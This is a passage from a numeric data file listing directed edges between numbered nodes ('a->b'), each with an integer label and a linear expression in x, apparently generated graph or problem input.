3018\n47->12\t101\t8467*x + 3278\n83->72\t92\t3061*x + 6408\n57->7\t126\t1409*x + 2253\n71->41\t73\t21649*x + 2002\n26->74\t55\t32783*x + 3338\n31->98\t93\t60611*x + 3958\n77->74\t55\t32611*x + 6897\n20->81\t32\t49807*x + 7954\n65->88\t71\t60169*x + 7399\n1->24\t65\t27409*x + 2209\n75->56\t119\t38821*x + 1168\n72->32\t69\t31963*x + 3282\n45->60\t85\t38119*x + 6478\n35->59\t84\t83243*x + 7941\n29->89\t107\t39733*x + 41\n4->20\t62\t24329*x + 3756\n45->61\t10\t16361*x + 3390\n56->3\t118\t103583*x + 12037\n92->46\t74\t81371*x + 1336\n37->16\t66\t104707*x + 15376\n45->42\t87\t32191*x + 7483\n47->98\t93\t23417*x + 2468\n73->43\t105\t5443*x + 5097\n73->48\t78\t7517*x + 8061\n51->18\t80\t77899*x + 1346\n6->50\t116\t50423*x + 2089\n75->74\t55\t45013*x + 3504\n17->1\t112\t14447*x + 7430\n76->8\t49\t31799*x + 2280\n4->15\t63\t10567*x + 4964\n99->3\t118\t84313*x + 14060\n92->30\t96\t51133*x + 950\n11->46\t74\t17609*x + 4329\n69->47\t90\t10301*x + 1763\n3->43\t105\t14813*x + 7397\n92->51\t97\t53959*x + 2982\n81->84\t89\t35323*x + 2860\n38->99\t54\t22549*x + 6285\n49->17\t104\t91291*x + 10673\n76->59\t84\t71861*x + 4636\n12->7\t126\t93229*x + 14077\n30->70\t57\t11587*x + 3553\n3->14\t77\t102103*x + 12055\n59->39\t113\t73039*x + 779\n4->44\t45\t93113*x + 14083\n69->78\t76\t45737*x + 6947\n72->38\t75\t57089*x + 2802\n71->64\t70\t78163*x + 168\n2->9\t115\t36187*x + 6020\n69->86\t53\t13933*x + 3808\n40->31\t47\t5039*x + 2691\n72->2\t72\t103141*x + 11686\n34->49\t68\t70099*x + 7368\n18->76\t124\t50147*x + 6030\n91->12\t101\t3257*x + 4669\n32->93\t98\t92399*x + 15968\n53->84\t89\t93889*x + 11938\n20->77\t106\t28961*x + 5858\n44->56\t119\t48353*x + 5778\n94->36\t79\t88801*x + 11137\n76->31\t47\t82891*x + 4217\n55->50\t116\t60091*x + 7570\n29->17\t104\t11437*x + 4920\n96->21\t9\t97511*x + 10723\n32->14\t77\t41737*x + 5405\n30->3\t118\t101209*x + 12786\n88->28\t50\t16529*x + 5686\n92->71\t37\t55061*x + 6525\n8->0\t33\t42101*x + 2797\n45->18\t80\t67927*x + 716\n9->96\t67\t73607*x + 4962\n50->33\t122\t43441*x + 4030\n69->17\t104\t26921*x + 6901\n64->36\t79\t83059*x + 4048\n36->48\t78\t2399*x + 7674\n45->53\t120\t77339*x + 7829\n37->35\t88\t52069*x + 5058\n67->98\t93\t96737*x + 15306\n86->72\t92\t101429*x + 11594\n62->29\t38\t94099*x + 9953\n73->35\t88\t18911*x + 987\n65->23\t11\t46829*x + 2912\n69->88\t71\t60077*x + 2883\n0->30\t96\t62119*x + 8167\n14->44\t45\t6709*x + 1795\n66->5\t82\t102673*x + 11354\n72->58\t35\t35449*x + 5948\n64->57\t109\t15749*x + 5918\n2->3\t118\t69073*x + 4881\n82->12\t101\t98809*x + 12326\n60->51\t97\t89137*x + 10619\n99->10\t46\t16229*x + 8043\n58->42\t87\t70901*x + 1746\n46->82\t40\t32369*x + 875\n23->14\t77\t65761*x + 6307\n80->81\t32\t70051*x + 7396\n46->12\t101\t10837*x + 6377\n50->98\t93\t66601*x + 799\n12->24\t65\t101863*x + 14871\n27->39\t113\t16963*x + 1477\n72->83\t12\t3371*x + 3192\n50->11\t43\t40427*x + 1095\n46->2\t72\t86477*x + 8571\n47->60\t85\t45853*x + 2878\n19->23\t11\t91253*x + 12058\n93->13\t99\t65239*x + 1224\n17->65\t95\t7523*x + 1790\n48->18\t80\t81869*x + 2449\n56->28\t50\t53629*x + 749\n78->51\t97\t39841*x + 743\n92->56\t119\t71233*x + 3440\n86->55\t39\t64567*x + 7056\n76->38\t75\t56687*x + 3382\n71->54\t94\t19801*x + 5577\n71->10\t46\t48527*x + 6626\n3->98\t93\t51169*x + 7758\n68->40\t34\t77543*x + 6247\n13->29\t38\t26371*x + 2687\n6->35\t88\t74419*x + 6063\n26->98\t93\t8861*x + 2302\n58->18\t80\t84713*x + 12651\n72->45\t13\t17707*x + 4035\n44->75\t56\t63521*x + 1894\n88->60\t85\t89567*x + 13577\n52->59\t84\t7457*x + 8076\n40->3\t118\t39499*x + 3501\n95->11\t43\t64019*x + 5967\n58->57\t109\t46861*x + 4023\n60->85\t83\t76649*x + 6737\n2->7\t126\t23011*x + 216\n16->20\t62\t52379*x + 1921\n7->42\t87\t43633*x + 2573\n90->31\t47\t79561*x + 4289\n94->82\t40\t709*x + 7805\n35->53\t120\t49597*x + 3557\n44->9\t115\t101921*x + 14642\n68->83\t12\t81131*x + 4088\n57->90\t86\t91303*x + 10572\n1->56\t119\t14107*x + 1690\n75->75\t56\t65171*x + 1164\n91->68\t36\t6037*x + 360\n1->39\t113\t32353*x + 6734\n11->77\t106\t79559*x + 1286\n41->58\t35\t62633*x + 5103\n23->82\t40\t96601*x + 9695\n88->82\t40\t103079*x + 11459\n39->77\t106\t24781*x + 1620\n20->86\t53\t47881*x + 3260\n18->11\t43\t9431*x + 1166\n13->19\t61\t38953*x + 2763\n27->56\t119\t100109*x + 12094\n97->24\t65\t14797*x + 3450\n23->71\t37\t67757*x + 5867\n7->79\t100\t11311*x + 376\n47->28\t50\t43223*x + 3534\n39->43\t105\t94421*x + 11666\n97->75\t56\t50159*x + 6698\n83->1\t112\t16651*x + 1840\n93->34\t41\t1699*x + 5795\n37->66\t44\t61933*x + 6349\n25->26\t81\t68729*x + 2706\n41->65\t95\t65899*x + 2216\n96->67\t117\t89413*x + 12946\n2->13\t99\t56747*x + 8153\n90->82\t40\t91367*x + 15197\n61->33\t122\t42859*x + 2266\n82->46\t74\t29527*x + 1368\n16->60\t85\t17483*x + 7841\n31->64\t70\t91243*x + 13275\n57->47\t90\t1481*x + 7979\n9->90\t86\t100469*x + 14031\n56->13\t99\t88811*x + 16213\n73->63\t60\t491*x + 6984\n20->88\t71\t68209*x + 8097\n8->82\t40\t18553*x + 5085\n32->96\t67\t73547*x + 218\n45->97\t108\t19423*x + 3816\n49->78\t76\t32831*x + 5414\n58->46\t74\t54367*x + 3881\n6->10\t46\t78041*x + 7081\n70->39\t113\t23627*x + 6844\n2->46\t74\t15061*x + 1725\n98->80\t110\t10069*x + 4179\n13->89\t107\t4513*x + 4610\n51->22\t64\t85733*x + 9518\n90->10\t46\t21661*x + 6385\n13->85\t83\t33893*x + 2013\n89->18\t80\t26029*x + 4852\n39->66\t44\t78929*x + 1040\n55->43\t105\t84827*x + 13098\n76->61\t10\t50131*x + 5351\n3->37\t114\t13883*x + 1331\n22->66\t44\t4583*x + 6305\n59->66\t44\t87719*x + 10078\n27->65\t95\t11689*x + 4895\n86->80\t110\t104693*x + 16236\n81->47\t90\t81307*x + 6687\n51->2\t72\t1873*x + 2267\n40->88\t71\t88339*x + 12317\n79->1\t112\t16111*x + 2654\n66->6\t123\t86113*x + 8768\n74->98\t93\t49603*x + 2885\n46->37\t114\t78839*x + 4879\n21->61\t10\t73483*x + 6094\n64->50\t116\t36947*x + 61\n44->2\t72\t31013*x + 3254\n94->0\t33\t18059*x + 2686\n89->54\t94\t98347*x + 9284\n74->23\t11\t17327*x + 474\n35->49\t68\t95369*x + 15044\n66->95\t111\t83987*x + 2248\n91->67\t117\t22123*x + 6583\n6->12\t101\t5639*x + 453\n2->4\t48\t43291*x + 4133\n75->27\t58\t4021*x + 2093\n16->51\t97\t33871*x + 4472\n9->40\t34\t95731*x + 9097\n8->25\t52\t92311*x + 13735\n87->80\t110\t92627*x + 14839\n76->14\t77\t85487*x + 10687\n6->98\t93\t86599*x + 14156\n32->3\t118\t36299*x + 7589\n34->76\t124\t61837*x + 3242\n69->54\t94\t16901*x + 7217\n48->77\t106\t27809*x + 5823\n87->22\t64\t78031*x + 3381\n33->42\t87\t95419*x + 13868\n79->15\t63\t39989*x + 952\n77->45\t13\t98627*x + 8884\n62->6\t123\t60449*x + 4390\n63->68\t36\t84499*x + 15283\n90->96\t67\t100483*x + 16317\n95->60\t85\t3923*x + 7802\n0->33\t122\t13171*x + 5398\n92->40\t34\t31019*x + 6835\n41->42\t87\t73597*x + 3294\n34->75\t56\t15569*x + 1569\n38->40\t34\t8111*x + 3528\n93->99\t54\t14327*x + 2713\n79->44\t45\t80701*x + 4814\n6->85\t83\t18287*x + 5122\n93->21\t9\t92809*x + 9808\n96->35\t88\t24439*x + 7592\n1->0\t33\t95189*x + 11484\n7->44\t45\t18143*x + 725\n92->57\t109\t28309*x + 4412\n80->72\t92\t57977*x + 3567\n14->37\t114\t20123*x + 2702\n37->21\t9\t66733*x + 5199\n5->43\t105\t11467*x + 3912\n31->80\t110\t33287*x + 6709\n74->63\t60\t79397*x + 4781\n80->58\t35\t47317*x + 3729\n10->11\t43\t49891*x + 5117\n6->5\t82\t69809*x + 186\n99->39\t113\t90931*x + 9577\n83->7\t126\t97871*x + 11275\n32->33\t122\t30403*x + 4792\n24->16\t66\t8641*x + 4624\n59->57\t109\t37847*x + 4656\n94->54\t94\t21019*x + 4971\n95->69\t59\t95471*x + 15730\n92->77\t106\t43669*x + 882\n99->24\t65\t6719*x + 2924\n28->94\t125\t32441*x + 3579\n4->0\t33\t99223*x + 10965\n12->95\t111\t35279*x + 505\n47->32\t69\t93811*x + 10716\n31->35\t88\t54601*x + 6971\n77->95\t111\t19087*x + 6270\n1->87\t121\t102251*x + 8845\n89->65\t95\t16573*x + 5993\n99->71\t37\t87671*x + 13480\n43->74\t55\t27299*x + 2113\n60->97\t108\t44059*x + 1839\n13->92\t51\t91387*x + 8566\n25->4\t48\t10429*x + 2208\n43->34\t41\t9397*x + 7795\n50->2\t72\t79691*x + 7258\n37->73\t102\t24851*x + 2903\n67->63\t60\t16633*x + 7901\n51->96\t67\t14051*x + 2569\n24->78\t76\t39439*x + 1576\n13->67\t117\t29483*x + 775\n57->40\t34\t87181*x + 12870\n21->52\t42\t55997*x + 5882\n58->71\t37\t44699*x + 2570\n27->30\t96\t14057*x + 112\n27->32\t69\t95093*x + 11427\n21->10\t46\t34123*x + 6766\n42->56\t119\t38707*x + 1406\n26->59\t84\t87509*x + 11897\n28->52\t42\t7607*x + 4430\n7->34\t41\t75787*x + 7498\n41->48\t78\t68737*x + 3175\n49->87\t121\t84653*x + 14636\n70->38\t75\t76001*x + 615\n81->57\t109\t50951*x + 7488\n70->49\t68\t31123*x + 3792\n3->53\t120\t77699*x + 2032\n24->75\t56\t7177*x + 6946\n4->33\t122\t68099*x + 2667\n40->40\t34\t89051*x + 15358\n64->7\t126\t87739*x + 9946\n39->49\t68\t101977*x + 12912\n84->62\t103\t563*x + 2486\n91->93\t98\t85363*x + 10095\n0->62\t103\t38371*x + 1822\n42->77\t106\t487*x + 4334\n47->27\t58\t68899*x + 187\n45->58\t35\t2609*x + 2940\n74->51\t97\t60521*x + 1633\n35->65\t95\t97213*x + 10678\n3->41\t73\t65419*x + 3919\n67->77\t106\t85447*x + 9842\n21->28\t50\t28297*x + 4942\n71->4\t48\t75853*x + 1102\n2->21\t9\t60773*x + 7269\n9->1\t112\t65381*x + 572\n77->97\t108\t49843*x + 8178\n3->12\t101\t66403*x + 6115\n18->23\t11\t40423*x + 5857\n17->90\t86\t54377*x + 2704\n90->1\t112\t33403*x + 7339\n27->27\t58\t93701*x + 10766\n57->62\t103\t95267*x + 11704\n58->27\t58\t86161*x + 15547\n44->70\t57\t31477*x + 1033\n53->87\t121\t57331*x + 6733\n20->96\t67\t48413*x + 7891\n22->56\t119\t1657*x + 2332\n50->9\t115\t89003*x + 13318\n33->93\t98\t48157*x + 3999\n9->70\t57\t72461*x + 7982\n5->38\t75\t60811*x + 6804\n45->80\t110\t21067*x + 3750\n81->23\t11\t41263*x + 2100\n62->20\t62\t52561*x + 3802\n83->8\t49\t31357*x + 7948\n98->13\t99\t1451*x + 6413\n75->34\t41\t53639*x + 5286\n47->29\t38\t50069*x + 3145\n78->62\t103\t96779*x + 9561\n5->77\t106\t61007*x + 6025\n11->57\t109\t96329*x + 10712\n12->2\t72\t12097*x + 7334\n3->30\t96\t50047*x + 3795\n6->53\t120\t26227*x + 4031\n77->66\t44\t27191*x + 8094\n51->88\t71\t2887*x + 3499\n26->31\t47\t61703*x + 7249\n54->55\t39\t58963*x + 1947\n71->5\t82\t42349*x + 582\n56->85\t83\t79039*x + 7395\n0->34\t41\t54419*x + 4930\n14->95\t111\t67979*x + 2594\n27->28\t50\t66809*x + 161\n2->60\t85\t48197*x + 4923\n25->23\t11\t16657*x + 3005\n37->40\t34\t59473*x + 1165\n15->50\t116\t66841*x + 4705\n43->64\t70\t11903*x + 618\n3->6\t123\t14081*x + 5180\n71->48\t78\t91967*x + 14490\n37->18\t80\t91951*x + 9787\n83->44\t45\t10627*x + 1410\n6->21\t9\t5657*x + 6507\n48->13\t99\t76597*x + 574\n39->54\t94\t61651*x + 1623\n6->63\t60\t36739*x + 4531\n32->54\t94\t37057*x + 6297\n6->24\t65\t36433*x + 1079\n69->44\t45\t41399*x + 7743\n62->50\t116\t62921*x + 5580\n39->14\t77\t15083*x + 1375\n36->16\t66\t45953*x + 33\n77->61\t10\t8179*x + 5786\n17->37\t114\t5987*x + 346\n36->17\t104\t40879*x + 2823\n67->75\t56\t100799*x + 13438\n12->76\t124\t10859*x + 1109\n12->71\t37\t87277*x + 11176\n10->25\t52\t39451*x + 5241\n92->31\t47\t3733*x + 7916\n85->89\t107\t23629*x + 3600\n54->33\t122\t8429*x + 7651\n91->43\t105\t15307*x + 306\n61->38\t75\t79633*x + 7171\n88->18\t80\t35801*x + 4913\n27->25\t52\t57493*x + 7943\n88->88\t71\t42281*x + 3283\n28->79\t100\t23537*x + 2380\n4->55\t39\t44131*x + 3355\n89->53\t120\t42509*x + 2004\n14->68\t36\t4987*x + 6553\n51->8\t49\t6199*x + 4312\n25->71\t37\t24019*x + 6942\n17->97\t108\t61681*x + 1722\n56->12\t101\t3833*x + 1054\n23->77\t106\t13291*x + 224\n64->78\t76\t18427*x + 3176\n52->66\t44\t97919*x + 14399\n41->7\t126\t102059*x + 10929\n93->68\t36\t78509*x + 1994\n10->48\t78\t47569*x + 7020\n11->62\t103\t4603*x + 3893\n92->13\t99\t20887*x + 7150\n89->93\t98\t65701*x + 2397\n51->40\t34\t101879*x + 11578\n38->55\t39\t83609*x + 3539\n20->62\t103\t23563*x + 7121\n68->26\t81\t35437*x + 1860\n22->96\t67\t1607*x + 544\n50->70\t57\t89209*x + 13086\n14->75\t56\t32203*x + 2889\n95->15\t63\t20143*x + 3715\n72->51\t97\t67763*x + 5772\n15->28\t50\t101653*x + 8330\n58->96\t67\t76913*x + 4293\n85->27\t58\t3581*x + 5284\n30->7\t126\t97813*x + 9595\n31->37\t114\t11483*x + 2195\n4->76\t124\t12043*x + 4450\n29->92\t51\t131*x + 2536\n24->58\t35\t97879*x + 12041\n55->19\t61\t38287*x + 7543\n27->53\t120\t47287*x + 6359\n4->73\t102\t95273*x + 10328\n56->57\t109\t23039*x + 2059\n8->88\t71\t73127*x + 1750\n93->9\t115\t94933*x + 14982\n41->86\t53\t74149*x + 3159\n95->41\t73\t93053*x + 8319\n13->63\t60\t89533*x + 12441\n65->57\t109\t33049*x + 1685\n71->40\t34\t68669*x + 1865\n54->41\t73\t14407*x + 91\n6->18\t80\t2087*x + 7774\n40->60\t85\t22307*x + 6704\n28->81\t32\t39883*x + 2819\n92->74\t55\t19231*x + 801\n93->89\t107\t751*x + 1507\n26->7\t126\t41687*x + 7490\n9->22\t64\t57373*x + 6302\n12->67\t117\t30977*x + 6769\n17->85\t83\t98443*x + 11908\n6->73\t102\t23827*x + 6543\n47->31\t47\t19753*x + 5447\n2->98\t93\t20023*x + 538\n55->85\t83\t72559*x + 3866\n37->97\t108\t55171*x + 173\n82->28\t50\t43691*x + 3797\n77->17\t104\t32647*x + 5748\n44->52\t42\t8377*x + 2824\n93->87\t121\t33457*x + 2353\n60->37\t114\t76561*x + 6017\n82->76\t124\t61223*x + 620\n45->41\t73\t46061*x + 4066\n96->57\t109\t15647*x + 683\n86->34\t41\t29921*x + 6822\n55->15\t63\t16411*x + 5954\n79->97\t108\t60703*x + 5363\n64->48\t78\t93683*x + 8605\n25->0\t33\t8117*x + 397\n97->56\t119\t34253*x + 5744\n18->67\t117\t92347*x + 9779\n79->3\t118\t83557*x + 2005\n72->72\t92\t96979*x + 12103\n29->47\t90\t13553*x + 7517\n29->78\t76\t94169*x + 12445\n92->47\t90\t104021*x + 15475\n40->55\t39\t103231*x + 9775\n82->40\t34\t103919*x + 11053\n2->36\t79\t89203*x + 10872\n16->42\t87\t44641*x + 1760\n9->93\t98\t46451*x + 3045\n60->64\t70\t93169*x + 9321\n34->4\t48\t15377*x + 3361\n63->79\t100\t39769*x + 2920\n76->70\t57\t86453*x + 15562\n42->36\t79\t57073*x + 2756\n11->17\t104\t31531*x + 6875\n58->43\t105\t28229*x + 3109\n15->45\t13\t50023*x + 5098\n56->32\t69\t36929*x + 5136\n60->14\t77\t102299*x + 15979\n22->14\t77\t22741*x + 825\n89->77\t106\t69427*x + 5713\n40->20\t62\t94427*x + 15225\n38->14\t77\t60779*x + 5386\n55->55\t39\t95107*x + 12743\n59->15\t63\t7411*x + 7639\n17->76\t124\t19843*x + 7523\n15->75\t56\t63073*x + 5550\n18->86\t53\t10111*x + 5477\n40->76\t124\t31607*x + 3087\n69->15\t63\t61363*x + 6171\n72->1\t112\t24733*x + 6435\n82->57\t109\t12041*x + 4335\n42->64\t70\t23209*x + 203\n32->18\t80\t93139*x + 15537\n33->15\t63\t77557*x + 647\n2->17\t104\t71317*x + 4528\n3->34\t41\t101173*x + 9800\n12->77\t106\t7297*x + 2595\n94->53\t120\t76829*x + 4059\n2->72\t92\t101363*x + 14341\n5->45\t13\t63397*x + 7355\n5->22\t64\t31039*x + 4520\n15->60\t85\t74891*x + 7422\n51->35\t88\t15889*x + 2552\n86->39\t113\t16487*x + 7474\n93->84\t89\t16843*x + 5879\n62->40\t34\t11701*x + 6178\n5->46\t74\t53*x + 1291\n50->25\t52\t18301*x + 7080\n3->99\t54\t60337*x + 7410\n68->46\t74\t103979*x + 11151\n89->58\t35\t10463*x + 5690\n62->0\t33\t84467*x + 14227\n16->5\t82\t83537*x + 3705\n53->71\t37\t96589*x + 12942\n87->15\t63\t8581*x + 990\n37->11\t43\t32371*x + 286\n66->13\t99\t16943*x + 2447\n69->23\t11\t12323*x + 1088\n54->42\t87\t12511*x + 1563\n6->4\t48\t34039*x + 7119\n11->97\t108\t49537*x + 8108\n83->91\t91\t80621*x + 1125\n42->50\t116\t21059*x + 3015\n35->37\t114\t92581*x + 14295\n45->93\t98\t36263*x + 4634\n30->55\t39\t9871*x + 7192\n44->33\t122\t6703*x + 4694\n7->68\t36\t51287*x + 1557\n27->7\t126\t24799*x + 7293\n1->2\t72\t80149*x + 6521\n67->48\t78\t5897*x + 451\n22->74\t55\t76907*x + 1634\n48->78\t76\t75431*x + 5486\n86->51\t97\t23167*x + 5542\n90->15\t63\t73471*x + 7082\n92->26\t81\t78511*x + 6381\n15->18\t80\t54443*x + 2684\n69->55\t39\t1213*x + 8116\n92->52\t42\t9521*x + 1325\n44->17\t104\t54629*x + 1055\n39->25\t52\t19301*x + 7632\n99->15\t63\t8963*x + 6405\n25->97\t108\t22433*x + 2476\n76->90\t86\t44089*x + 2126\n29->27\t58\t11657*x + 4905\n15->25\t52\t34667*x + 845\n58->90\t86\t45817*x + 4121\n41->1\t112\t42017*x + 459\n68->20\t62\t24481*x + 6226\n43->85\t83\t12409*x + 400\n91->46\t74\t42323*x + 7108\n62->47\t90\t28687*x + 6128\n90->65\t95\t57527*x + 7718\n76->64\t70\t85517*x + 11147\n54->38\t75\t7993*x + 7431\n74->47\t90\t56713*x + 4924\n42->68\t36\t94463*x + 13151\n36->42\t87\t1117*x + 7029\n30->98\t93\t19051*x + 7060\n89->34\t41\t38713*x + 3118\n40->22\t64\t42953*x + 630\n89->24\t65\t24413*x + 2678\n61->0\t33\t90017*x + 11781\n48->2\t72\t79627*x + 2455\n58->16\t66\t8807*x + 3269\n11->61\t10\t103591*x + 10238\n55->88\t71\t67433*x + 2193\n7->31\t47\t47681*x + 7991\n12->55\t39\t62591*x + 4489\n80->74\t55\t18913*x + 244\n55->86\t53\t33997*x + 2347\n90->14\t77\t4967*x + 6985\n33->70\t57\t85103*x + 8761\n19->28\t50\t78007*x + 1072\n70->31\t47\t74377*x + 6367\n43->94\t125\t23333*x + 3648\n7->83\t12\t104513*x + 15317\n78->16\t66\t9967*x + 6498\n39->95\t111\t20297*x + 2236\n84->10\t46\t3659*x + 2861\n99->21\t9\t15511*x + 2933\n88->96\t67\t16421*x + 1657\n90->88\t71\t102647*x + 12400\n4->7\t126\t43607*x + 6048\n65->58\t35\t13109*x + 1498\n32->79\t100\t3637*x + 684\n72->98\t93\t10631*x + 7801\n47->79\t100\t103069*x + 12296\n18->73\t102\t9587*x + 1624\n30->12\t101\t25367*x + 184\n53->61\t10\t36943*x + 3480\n14->88\t71\t47207*x + 5307\n33->46\t74\t6047*x + 3\n83->83\t12\t65071*x + 4253\n72->77\t106\t29399*x + 4068\n60->54\t94\t26479*x + 8096\n78->13\t99\t101203*x + 9086\n2->33\t122\t91079*x + 12982\n50->37\t114\t30431*x + 6396\n30->89\t107\t101839*x + 12211\n85->87\t121\t52453*x + 4952\n52->48\t78\t45007*x + 5958\n8->32\t69\t20113*x + 4561\n39->18\t80\t82997*x + 2174\n31->50\t116\t8933*x + 6890\n61->40\t34\t61613*x + 7487\n50->82\t40\t30539*x + 7190\n72->29\t38\t79279*x + 411\n50->14\t77\t93083*x + 11351\n93->59\t84\t1483*x + 2539\n88->49\t68\t11969*x + 4372\n32->74\t55\t66041*x + 283\n81->22\t64\t38047*x + 2491\n15->94\t125\t59467*x + 4912\n31->82\t40\t100537*x + 11945\n45->96\t67\t84053*x + 13669\n11->85\t83\t11597*x + 5982\n70->28\t50\t21001*x + 6759\n12->79\t100\t47809*x + 5688\n27->69\t59\t24197*x + 3150\n17->51\t97\t43721*x + 2119\n20->99\t54\t99611*x + 11919\n98->41\t73\t21169*x + 4485\n79->10\t46\t51637*x + 930\n35->98\t93\t8423*x + 7181\n39->89\t107\t45361*x + 6554\n29->8\t49\t100927*x + 8779\n36->88\t71\t263*x + 6045\n22->27\t58\t17713*x + 6527\n42->82\t40\t59999*x + 311\n62->67\t117\t102811*x + 11724\n68->53\t120\t104623*x + 12278\n97->87\t121\t3413*x + 7695\n28->20\t62\t48247*x + 8119\n66->85\t83\t77713*x + 2227\n26->68\t36\t93629*x + 13486\n67->12\t101\t15331*x + 2538\n19->90\t86\t92761*x + 11725\n18->63\t60\t95947*x + 15528\n18->74\t55\t35897*x + 4318\n56->0\t33\t87511*x + 8489\n42->31\t47\t37967*x + 4806\n11->41\t73\t78467*x + 3468\n34->48\t78\t37489*x + 5632\n12->5\t82\t60397*x + 4105\n2->41\t73\t101789*x + 11049\n29->71\t37\t71941*x + 5292\n59->33\t122\t92177*x + 16041\n21->25\t52\t35023*x + 3666\n92->41\t73\t24967*x + 790\n0->85\t83\t48563*x + 3100\n67->29\t38\t73121*x + 2204\n23->66\t44\t22291*x + 362\n23->47\t90\t76031*x + 6675\n90->32\t69\t62981*x + 7\n86->25\t52\t65167*x + 6613\n58->56\t119\t84737*x + 8934\n93->20\t62\t80657*x + 6799\n3->68\t36\t34781*x + 621\n90->34\t41\t78791*x + 8123\n99->34\t41\t35381*x + 1481\n98->6\t123\t7829*x + 5091\n32->77\t106\t50227*x + 949\n3->5\t82\t48407*x + 7316\n46->39\t113\t15817*x + 5892\n32->85\t83\t25997*x + 4698\n85->73\t102\t74759*x + 1683\n71->77\t106\t101081*x + 15096\n63->16\t66\t42943*x + 1927\n46->6\t123\t44623*x + 511\n84->34\t41\t29147*x + 6614\n94->55\t39\t17123*x + 6116\n6->6\t123\t79*x + 5245\n85->20\t62\t28493*x + 2358\n30->2\t72\t25841*x + 6158\n85->31\t47\t98467*x + 13111\n36->51\t97\t47123*x + 6201\n61->99\t54\t45233*x + 3932\n94->89\t107\t88747*x + 9981\n71->24\t65\t65729*x + 7412\n60->98\t93\t86297*x + 11554\n35->73\t102\t93481*x + 14376\n74->3\t118\t94151*x + 14753\n64->43\t105\t85087*x + 10633\n41->20\t62\t24919*x + 4410\n90->69\t59\t27551*x + 7842\n5->13\t99\t91939*x + 13768\n23->45\t13\t103091*x + 8237\n0->48\t78\t7393*x + 6686\n11->35\t88\t70207*x + 3926\n14->46\t74\t40609*x + 5503\n4->90\t86\t28879*x + 691\n50->3\t118\t89849*x + 10120\n99->57\t109\t87427*x + 12829\n99->65\t95\t37717*x + 4904\n80->41\t73\t4297*x + 4435\n17->70\t57\t103889*x + 13705\n74->81\t32\t39097*x + 7649\n77->77\t106\t40507*x + 7265\n65->17\t104\t25127*x + 1397\n61->80\t110\t88729*x + 10068\n0->8\t49\t65183*x + 4516\n11->86\t53\t75527*x + 2535\n76->25\t52\t70501*x + 3822\n25->30\t96\t30763*x + 3203\n81->49\t68\t100829*x + 10442\n53->33\t122\t23431*x + 4588\n33->59\t84\t60719*x + 8150\n1->97\t108\t79841*x + 8029\n70->47\t90\t14207*x + 2342\n41->4\t48\t28979*x + 5697\n95->42\t87\t28619*x + 5841\n96->29\t38\t27581*x + 2809\n23->46\t74\t13567*x + 755\n44->3\t118\t12577*x + 7495\n29->86\t53\t51949*x + 898\n53->8\t49\t38711*x + 1800\n13->43\t105\t76543*x + 1519\n34->44\t45\t463*x + 3960\n80->75\t56\t26881*x + 3574\n13->69\t59\t17519*x + 6112\n35->9\t115\t18181*x + 1925\n57->9\t115\t87149*x + 10298\n96->85\t83\t100297*x + 8632\n15->88\t71\t83*x + 4835\n69->53\t120\t14713*x + 8006\n12->80\t110\t9601*x + 4309\n31->33\t122\t50741*x + 732\n97->2\t72\t100019*x + 9748\n6->33\t122\t101963*x + 9873\n91->16\t66\t9049*x + 1190\n95->26\t81\t62057*x + 748\n12->62\t103\t62189*x + 3829\n82->4\t48\t9743*x + 6236\n92->42\t87\t19417*x + 5094\n54->99\t54\t17891*x + 4171\n43->80\t110\t6397*x + 6648\n32->19\t61\t44851*x + 1492\n84->30\t96\t44179*x + 6689\n67->76\t124\t61357*x + 583\n87->43\t105\t76421*x + 7179\n91->62\t103\t65413*x + 5876\n66->87\t121\t34061*x + 1929\n53->14\t77\t103951*x + 12548\n47->2\t72\t39821*x + 3777\n18->75\t56\t26893*x + 7380\n99->19\t61\t23761*x + 7322\n77->32\t69\t76667*x + 7699\n86->21\t9\t97859*x + 13123\n73->6\t123\t7027*x + 6186\n43->29\t38\t45869*x + 955\n3->39\t113\t34439*x + 5657\n66->33\t122\t60539*x + 7330\n67->4\t48\t35521*x + 2111\n98->11\t43\t95803*x + 15347\n41->10\t46\t51829*x + 5999\n8->67\t117\t21269*x + 5002\n21->44\t45\t55469*x + 808\n72->80\t110\t96211*x + 13601\n63->8\t49\t5749*x + 1913\n0->57\t109\t659*x + 434\n96->37\t114\t10607*x + 1043\n48->91\t91\t20983*x + 7505\n57->93\t98\t16349*x + 4175\n60->91\t91\t35747*x + 6301\n60->50\t116\t34513*x + 6969\n81->45\t13\t78649*x + 3043\n78->6\t123\t17881*x + 3119\n74->27\t58\t34871*x + 806\n41->84\t89\t3187*x + 1\n29->16\t66\t9749*x + 7436\n74->61\t10\t33811*x + 1488\n79->92\t51\t72797*x + 3955\n17->24\t65\t83231*x + 3039\n36->86\t53\t92723*x + 10439\n82->83\t12\t103837*x + 11079\n99->91\t91\t101939*x + 14910\n69->45\t13\t37547*x + 2960\n23->44\t45\t68813*x + 3183\n6->64\t70\t54829*x + 2718\n14->79\t100\t3677*x + 4069\n10->29\t38\t88499*x + 15378\n87->57\t109\t64781*x + 139\n92->29\t38\t829*x + 580\n66->28\t50\t4679*x + 3212\n76->13\t99\t29021*x + 6912\n31->57\t109\t90499*x + 15310\n40->1\t112\t85147*x + 11296\n13->23\t11\t22651*x + 7692\n32->47\t90\t85201*x + 9308\n60->77\t106\t34259*x + 5008\n64->9\t115\t64513*x + 6378\n56->43\t105\t35081*x + 8120\n51->25\t52\t93281*x + 9111\n89->72\t92\t56417*x + 6123\n57->72\t92\t101483*x + 11721\n76->85\t83\t104723*x + 13902\n11->82\t40\t57727*x + 2045\n20->1\t112\t13693*x + 5295\n25->87\t121\t9281*x + 2000\n31->63\t60\t80819*x + 2890\n11->68\t36\t30553*x + 2066\n19->50\t116\t91997*x + 15682\n62->87\t121\t63629*x + 6248\n11->14\t77\t19259*x + 7473\n18->64\t70\t5869*x + 4278\n4->54\t94\t37*x + 753\n7->15\t63\t37039*x + 1785\n37->39\t113\t45137*x + 7156\n46->21\t9\t56773*x + 7756\n81->30\t96\t42071*x + 5680\n72->15\t63\t1693*x + 223\n22->76\t124\t14341*x + 5890\n27->12\t101\t13007*x + 4204\n2->65\t95\t23593*x + 4530\n37->5\t82\t17099*x + 2813\n34->42\t87\t69019*x + 4948\n5->60\t85\t85199*x + 13033\n81->16\t66\t73237*x + 3910\n1->77\t106\t22039*x + 8037\n7->86\t53\t57389*x + 7194\n97->54\t94\t24247*x + 3634\n58->12\t101\t65111*x + 205\n11->64\t70\t48857*x + 741\n78->78\t76\t80831*x + 2198\n6->68\t36\t79769*x + 7808\n89->26\t81\t45289*x + 6751\n34->85\t83\t24203*x + 2133\n63->72\t92\t31817*x + 4362\n2->76\t124\t52721*x + 